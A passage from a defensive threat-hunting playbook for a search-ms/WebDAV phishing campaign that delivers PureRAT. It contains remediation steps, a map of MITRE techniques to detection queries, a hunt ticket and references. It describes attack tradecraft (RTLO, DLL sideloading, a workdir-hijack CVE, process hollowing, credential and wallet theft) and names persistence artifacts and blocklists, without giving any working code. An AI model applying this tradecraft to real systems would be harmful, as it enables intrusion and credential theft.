| Isolate | Network-contain the host in Falcon. Capture the process tree from the WebDAV UNC launch (Q1) forward. Preserve %TEMP%\is-*.tmp\ and inttracer_i686_prod/basenet staging dirs. | SOC L2 | Process tree, staged files, memory image |
| Eradicate | Remove scheduled tasks brokerhost/net_queue_32, Run value XNNNMHJAZNCNHGIKJDW, WMI subscriptions, and the \com_app_bg_i686/\messenger_component_v8_32_rc keys. Kill hollowed hosts (MegArray.exe/Crisp.exe). Block C2 IPs + import §10 CSV. | SOC L2 / IR | Persistence removal log, blocklist confirmation |
| Recover | Assume credential theft — PureRAT harvests browser creds, cookies, wallets, Telegram tdata. Force password + session resets for the user; revoke tokens; review crypto-wallet exposure. Reimage if hollowing/RAT confirmed. | IR / IAM | Reset tickets, token revocation, reimage record |
| Harden | Disable WebClient (Playbook 1), deploy ASR (Playbook 2), verify patching (Playbook 3) across the affected OU. Promote Q1/Q3/Q7 to IOAs. | Platform / SOC Eng | Policy deployment report |
Detection Coverage Map
| Technique | Behavior | CQL | IOA | Coverage |
|---|---|---|---|---|
| T1204.002 / T1071 | WebDAV-UNC process launch | Q1 | Candidate | Good |
| T1071 (WebDAV) | WebClient / davclnt activation | Q2 | Candidate | Good |
| T1204.002 / T1036 | search-ms remote handoff | Q3 | Candidate | Good |
| T1203 / T1574 | CVE-2025-33053 workdir hijack | Q4 | Detect | Partial |
| T1036.002 / .007 | RTLO / double-ext / SFX | Q5 | — | Partial |
| T1574.001 / .012 | DLL sideload / COR_PROFILER | Q6 | — | Partial |
| T1055.012 / T1620 | Process hollowing / reflective load | — | Candidate | Gap |
| T1053.005 / T1547.001 | Named tasks / Run key | Q7 | Candidate | Good |
| T1546.003 | WMI event subscription | Native §7 | — | Gap (CQL) |
| T1571 / T1041 | C2 egress | Q8 | Blocklist | Partial |
| All named payloads | Known hashes | Q9 | Blocklist | Good |
Known gaps: process hollowing (T1055.012) and reflective .NET loading (T1620) are not reliably covered by base ProcessRollup2 telemetry — they need image-load / memory telemetry and are better addressed by a Custom IOA than a hunt query. WMI event-subscription creation (T1546.003) has no CQL here and is covered only by the native Sysmon 19/20/21 hunt in §7. Validate TaskName/ScheduledTaskName field availability in your tenant before relying on Q7.
Hunt Summary Ticket
TITLE: WebDAV Delivery Lab — search-ms -> WebDAV -> PureRAT 4.4.3 (CURP / DlrtyGames)
SEVERITY: HIGH — active in-the-wild delivery campaign, credential/wallet theft
SCOPE: Windows endpoints; users of Explorer/browsers exposed to phishing lures
HYPOTHESIS: A phishing search-ms: URI opens a remote WebDAV share; victim runs a
remote binary that looks local -> fileless .NET stealer / PureRAT RAT.
QUERIES: Q1 WebDAV-UNC launch · Q2 WebClient/davclnt · Q3 search-ms remote ·
Q4 CVE-2025-33053 workdir hijack · Q5 RTLO/double-ext · Q6 sideload/COR_PROFILER ·
Q7 named persistence · Q8 C2 egress · Q9 hash retro-hunt
DO FIRST: Run Q1 + Q2 fleet-wide (7-14d). Any hit on a host with no WebDAV use = triage now.
FINDINGS: <record hosts / users / process trees>
GAPS: Process hollowing (T1055.012) & WMI subs (T1546.003) — IOA / native only.
ACTIONS: Disable WebClient (PB1) · ASR (PB2) · patch KB5060* (PB3) · import §10 CSV.
OWNER: <assign SOC analyst>
VERSION: v0.1 · 2026-07-31
Changelog
References
| Tier | Source | Used for | Accessed |
|---|---|---|---|
| 1 | Rapid7 Labs — Inside an Exposed WebDAV Malware Delivery Lab | Primary technical analysis, chains, C2s, TTPs, panel telemetry | 2026-07-31 |
| 1 | Rapid7-Labs GitHub — Simba Panel IOCs (iocs.txt, gobf_mx.txt) | Atomic hashes, panel IPs, UNC/search-ms command samples, phishing JS | 2026-07-31 |
| 2 | The Hacker News — Exposed Server Reveals AI-Assisted Malware Factory | Scale/GenAI corroboration | 2026-07-31 |
| 2 | CyberSecurityNews — GenAI-Powered Malware Factory | Independent C2/IP corroboration | 2026-07-31 |
This is a scale-and-tradecraft story, not a novel-malware story: PureRAT, WebDAV/search-ms abuse, RTLO, DLL sideloading, and CVE-2025-33053 are all previously documented. The novelty is the GenAI-accelerated, product-team-style delivery pipeline exposed by the operator's OPSEC failure. Hunt the behavior.